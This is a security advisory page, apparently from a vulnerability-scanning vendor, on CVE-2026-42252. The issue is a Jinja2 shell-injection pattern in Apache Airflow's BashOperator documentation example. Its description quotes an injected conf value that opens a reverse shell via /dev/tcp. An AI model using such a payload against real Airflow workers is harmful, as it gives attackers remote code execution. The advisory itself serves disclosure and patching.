CVE-2026-42252 is a critical-severity (CVSS 9.1) CWE-1336 vulnerability in apache-airflow. A fix is available for apache-airflow — see the affected versions and patch details below.
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42252.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
apache-airflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | apache-airflow | ≥ 3.0.0&&< 3.2.2 | 3.2.2pip install --upgrade 'apache-airflow==3.2.2' |
Affected Products
airflowapacheDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apache-airflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apache-airflow to 3.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42252 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-42252 in your dependencies?
Find it across PyPI, including transitive dependencies.